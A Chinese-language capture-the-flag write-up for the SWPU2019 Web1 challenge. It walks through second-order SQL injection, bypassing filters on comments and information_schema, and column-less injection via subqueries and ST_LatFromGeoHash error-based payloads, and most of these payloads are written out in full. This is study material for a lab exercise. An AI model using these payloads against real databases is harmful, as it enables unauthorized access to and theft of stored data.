[SWPU2019] Web1

知识点

二次注入
无列名注入
bypass information_schema

审题

上来就是一个登录框 上来就是一顿注 一顿扫 就嗯干 后来才发现可以注册 总之白忙活了很久 一般这种可以让你注册或者你可以找到注册界面的 登录框都不是注入点 登录之后发现 有一个可以投递广告的地方 基本上这个地方就是注入点了 测试了一下发现广告名那一栏存在注入点

刚做到这里的时候 发现这不是和sql-lab的sql语句一样嘛 心里暗暗一喜 就这啊

上手

没笑多久发现 所有的注释符都给过滤了 这是我没想到的 稍微测试了一下 发现我会用的几个报错注入都被过滤了 还有information_schema也给过滤了(也就是or 没事 information_schema我会绕 绕过去多大点事 结果光是闭合那个引号就给我闭了半天 确实是第一次这样闭合 这边先贴出payload 其中空格被过滤了 读者自行加上内敛注释(别问我为什么不加上

1
1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这句payload为什么这样写 我们将他带进去

1
$sql="SELECT * FROM users WHERE id='1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22' LIMIT 0,1";

诶 是不是一目了然 原来的那个单引号和我们构造的’22配起来成了一个’22’ sql在查询的时候 22和’22’是一样的 这样就绕过了注释这关waf 根据回显爆出数据库 就不贴爆库payload了 这样了还不会爆不应该做到这题 然后就是bypass information_schema来爆表 这也没啥问题 就是有一点 buu的平台没有sys.schema_auto_increment_columns这个库 而且一般sys库需要root权限 所以一般先选mysql.innodb_table_stats这个库 下面贴上payload

1
1' union select '1'(select group_concat(table_name) from mysql.innodb_table_stats where database_name='web1'),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22''

information_schema的绕过也很顺利 没啥问题 得到了我们需要的表

穷途末路

也知道接下来要无列名注入 正好上次做了一道关于无列名注入的题 是用ascii码偏移(字符串比较做的 可以康康我的博客(日常骗访问量 搓手手开始做 猜测字段 字符串比较

哟 不止一行 那就加一下limit

1
0' && ((select 1,"flah",3)>(select*from users limit 1,1))/**/&&'a'='a

嘶 什么都没返回 是说明可以吗 尝试把比较的字符改成zzzzzzzz 发现还是没有回显 可能就是故意这样设置的 完犊子 又不会做了

每天一个知识点

看了大佬的wp发现 这题用的是子查询 涨姿势了 关于什么是子查询 大家可以参考一下这篇文章子查询 这边就不赘述了 子查询对于无列名注入的情况下 如果关键词没有被过滤 那么是非常好用的 下面贴上payload

1
2
3
4
5
6
#获取表名
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取各列
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2/**/as/**/test,3/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取数据
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2,3/**/as/**/test/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

当然这题在比赛的时候 还有一种解法也很棒 那就是用ST_LatFromGeoHash进行报错注入 关于报错注入原理都一样 就不再解释了 只不过buu的平台这个函数用不了

1
2
3
4
1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/database()),0x7e))/**/||'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'),0x7e))/**/&&'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.2/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a

拿到flag

EOF